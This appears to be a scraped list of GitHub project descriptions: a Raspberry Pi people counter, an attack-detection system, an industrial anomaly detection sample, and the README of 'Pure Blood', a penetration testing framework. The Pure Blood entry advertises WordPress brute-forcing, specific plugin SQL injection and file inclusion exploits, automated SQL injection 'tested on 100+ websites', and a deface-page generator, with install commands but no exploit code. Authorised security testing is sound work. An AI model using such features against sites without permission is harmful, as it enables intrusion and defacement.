open-source visual tracking implementation from the contribution branch of the OpenCV library and a unique technique for people detection along with different Filtering Algorithms for tracking this. The programming language of choice to implement these features (Tracking and Detection) is python and its libraries. The present work describes a standalone people counting application designed using Python OpenCV and tested on embedded devices ranging from the Raspberry Pi3 to a Tinker Board and a compatible Camera. All these were used in prototyping the design of this application. The results reported and showed that the Person-Counter system developed counted the number of people entering the designated area (down), and the number of people leaving (up).
HexHive / HexPADSHexPADS, a host-based, Performance-counter-based Attack Detection System
LinterexEvilCommunity / PenbloodLicense Compatible Python2x Python3x Pure Blood v2 A Penetration Testing Framework created for Hackers / Pentester / Bug Hunter Menu Web Pentest / Information Gathering: Banner Grab Whois Traceroute DNS Record Reverse DNS Lookup Zone Transfer Lookup Port Scan Admin Panel Scan Subdomain Scan CMS Identify Reverse IP Lookup Subnet Lookup Extract Page Links Directory Fuzz (NEW) File Fuzz (NEW) Shodan Search (NEW) Shodan Host Lookup (NEW) Web Application Attack: (NEW) Wordpress | WPScan | WPScan Bruteforce | Wordpress Plugin Vulnerability Checker Features: // I will add more soon. | WordPress Woocommerce - Directory Craversal | Wordpress Plugin Booking Calendar 3.0.0 - SQL Injection / Cross-Site Scripting | WordPress Plugin WP with Spritz 1.0 - Remote File Inclusion | WordPress Plugin Events Calendar - 'event_id' SQL Injection Auto SQL Injection Features: | Union Based | (Error Output = False) Detection | Tested on 100+ Websites Generator: Deface Page Password Generator // NEW Text To Hash //NEW Author's Words: This project is managed / enhanced everyday and sorry if it takes a while before another version is published. Well, I'm the only one who is managing this and also I have personal daily activities. This tool is for everyone. So please open an issue if you run into a bug. Well I can only test it in Windows and Kali Linux since that's the only device I have. Also please try the new AUTO SQL Injection that I'm proud of currently. I created a video already on how I created it. Check it out on my Youtube Channel. The WPScan is also checked for Windows and Kali Linux. If you are using other Linux Distro please add wpscan in your ~/.bashrc. Installation Any Python Version. $ git clone https://github.com/cr4shcod3/pureblood $ cd pureblood $ pip install -r requirements.txt
intel-iot-devkit / Industrial Anomaly DetectionRun multiple independent anomaly detection (object flaws and motor defects) workloads on a single system via multiple virtual machines using a Kernel-based Virtual Machine (KVM) host.